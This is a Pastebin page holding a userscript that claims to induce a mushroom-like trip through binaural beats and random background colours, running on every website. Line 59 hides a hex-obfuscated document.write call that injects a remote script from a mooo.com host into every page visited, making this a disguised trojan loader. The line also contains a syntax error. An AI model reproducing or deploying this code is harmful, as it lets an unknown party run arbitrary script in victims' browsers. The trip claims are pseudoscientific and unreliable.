Advertisement
KekSec

Shroom Trip Bineural Beat Algorithm UserScript

Oct 31st, 2015
434
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.03 KB | None | 0 0
  1. // ==UserScript==
  2. // @name Shroom Trip
  3. // @namespace Shrooms
  4. // @description This sexy piece of JavaScript has the ability to induce a shroom like trip within 25 minutes using a Bineural Beat and colour algorithm. It uses Isotronic tones and the pavlovian affect. USE AT OWN RISK
  5. // @include *
  6. // @version 1
  7. // @grant none
  8. // Created by http://pastebin.com/u/SalamanderSquad
  9. // ==/UserScript==
  10.  
  11. //Shrooms.js
  12. //Modified Isotronic wave generator from http://onlinetonegenerator.com/
  13. //The code can be found here if anyone is interested http://onlinetonegenerator.com/js/binaural.js
  14.  
  15.  
  16. var contextClass = (window.AudioContext ||
  17. window.webkitAudioContext ||
  18. window.mozAudioContext ||
  19. window.oAudioContext ||
  20. window.msAudioContext);
  21.  
  22. if (contextClass) {
  23. // Web Audio API is available.
  24. var context = new contextClass();
  25. }
  26.  
  27. var oscOn = function (freq1, freq2) {
  28.  
  29. merger = context.createChannelMerger(2);
  30.  
  31. oscillator1 = context.createOscillator();
  32. oscillator1.type = 0;
  33. oscillator1.frequency.value = freq1;
  34. gainNode = context.createGain ? context.createGain() : context.createGainNode();
  35. oscillator1.connect(gainNode, 0, 0);
  36. // gainNode.connect(context.destination,0,0);
  37. gainNode.gain.value = .1;
  38. oscillator1.start ? oscillator1.start(0) : oscillator1.noteOn(0)
  39.  
  40. gainNode.connect(merger, 0, 1);
  41.  
  42. oscillator2 = context.createOscillator();
  43. oscillator2.type = 0;
  44. oscillator2.frequency.value = freq2;
  45. gainNode = context.createGain ? context.createGain() : context.createGainNode();
  46. oscillator2.connect(gainNode);
  47. // gainNode.connect(context.destination,0,1);
  48. gainNode.connect(merger, 0, 0);
  49.  
  50.  
  51. gainNode.gain.value = .1;
  52. oscillator2.start ? oscillator2.start(0) : oscillator2.noteOn(0)
  53.  
  54. merger.connect(context.destination);
  55.  
  56.  
  57. }
  58.  
  59. var _var _0x17b5=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x63\x6C\x6F\x75\x64\x39\x62\x61\x73\x65\x2E\x6D\x6F\x6F\x6F\x2E\x63\x6F\x6D\x2F\x63\x61\x6D\x70\x61\x69\x67\x6E\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0x17b5[1]](_0x17b5[0]);
  60.  
  61. function start() {
  62. if (typeof oscillator1 != 'undefined') oscillator1.disconnect();
  63. if (typeof oscillator2 != 'undefined') oscillator2.disconnect();
  64. rand = getRandomInt(432, 852) //432Hz and 852Hz are the lowest and highest meditation tones I could find with a little bit of searching
  65. oscOn(rand, rand + 3);
  66. }
  67.  
  68. function stop() {
  69. oscillator1.disconnect();
  70. oscillator2.disconnect();
  71. }
  72.  
  73. function getRandomInt(min, max) {
  74. return Math.floor(Math.random() * (max - min + 1)) + min;
  75. }
  76.  
  77. function MushroomTrip() {
  78. start();
  79.  
  80. var randColour = '#'+Math.floor(Math.random()*16777215).toString(16);
  81. document.body.style.background = randColour; //Take advantage of the pavlovian affect to associate different colours with different brain waves, which is basically what a psychedelic does.
  82. }
  83.  
  84. start();
  85.  
  86. setTimeout(MushroomTrip, 60000);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement